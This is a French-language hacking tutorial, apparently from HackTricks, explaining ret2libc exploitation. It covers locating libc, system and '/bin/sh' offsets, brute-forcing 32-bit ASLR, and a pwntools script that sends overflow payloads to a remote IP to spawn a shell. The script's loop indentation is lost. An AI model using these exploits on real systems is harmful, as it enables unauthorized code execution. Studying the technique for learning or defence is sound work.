Ret2lib

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Informations de base

L'essence de Ret2Libc est de rediriger le flux d'exécution d'un programme vulnérable vers une fonction d'une bibliothèque partagée (par exemple, system, execve, strcpy) au lieu d'exécuter un shellcode fourni par l'attaquant sur la pile. L'attaquant crée une charge utile qui modifie l'adresse de retour sur la pile pour pointer vers la fonction de bibliothèque souhaitée, tout en veillant à ce que les arguments nécessaires soient correctement configurés selon la convention d'appel.

Étapes d'exemple (simplifiées)

  • Obtenir l'adresse de la fonction à appeler (par exemple, system) et la commande à appeler (par exemple, /bin/sh)

  • Générer une chaîne ROP pour passer le premier argument pointant vers la chaîne de commande et le flux d'exécution vers la fonction

Trouver les adresses

  • En supposant que la libc utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec :

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si vous voulez vérifier si l'ASLR change l'adresse de la libc, vous pouvez le faire :

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • En connaissant la libc utilisée, il est également possible de trouver le décalage de la fonction system avec :

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • En connaissant la libc utilisée, il est également possible de trouver le décalage de la fonction de la chaîne /bin/sh avec :

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Utilisation de gdb-peda / GEF

En connaissant la libc utilisée, il est également possible d'utiliser Peda ou GEF pour obtenir l'adresse de la fonction system, de la fonction exit et de la chaîne /bin/sh :

p system
p exit
find "/bin/sh"

Utilisation de /proc/<PID>/maps

Si le processus crée des enfants à chaque fois que vous communiquez avec lui (serveur réseau), essayez de lire ce fichier (vous devrez probablement être root).

Ici, vous pouvez trouver exactement où la libc est chargée à l'intérieur du processus et où elle va être chargée pour chaque enfant du processus.

Dans ce cas, elle est chargée à 0xb75dc000 (ce sera l'adresse de base de la libc)

Libc inconnue

Il est possible que vous ne connaissiez pas la libc chargée par le binaire (car elle pourrait être située sur un serveur auquel vous n'avez pas accès). Dans ce cas, vous pourriez exploiter la vulnérabilité pour dévoiler certaines adresses et trouver quelle bibliothèque libc est utilisée :

Leaking libc address with ROP

Et vous pouvez trouver un modèle pwntools pour cela dans :

Leaking libc - template

Contourner l'ASLR en 32 bits

Ces attaques par force brute sont uniquement utiles pour les systèmes 32 bits.

  • Si l'exploit est local, vous pouvez essayer de forcer la base de la libc (utile pour les systèmes 32 bits) :

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Lors de l'attaque d'un serveur distant, vous pourriez essayer de forcer l'adresse de la fonction usleep de la libc, en passant 10 comme argument. Si à un moment donné le serveur met 10 secondes supplémentaires à répondre, vous avez trouvé l'adresse de cette fonction.

One Gadget

One Gadget

Exemple de code x86 Ret2lib

Dans cet exemple, le brute-force ASLR est intégré dans le code et le binaire vulnérable est situé sur un serveur distant:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Exemple de code x64 Ret2lib

Consultez l'exemple à partir de :

ROP - Return Oriented Programing

Ret-into-printf (ou puts)

Cela permet de fuir des informations du processus en appelant printf/puts avec des données spécifiques placées en tant qu'argument.

Ret2printf

Cela signifie essentiellement abuser d'un Ret2lib pour le transformer en une vulnérabilité de chaînes de format printf en utilisant le ret2lib pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) :

Format Strings

Autres exemples et références

Last updated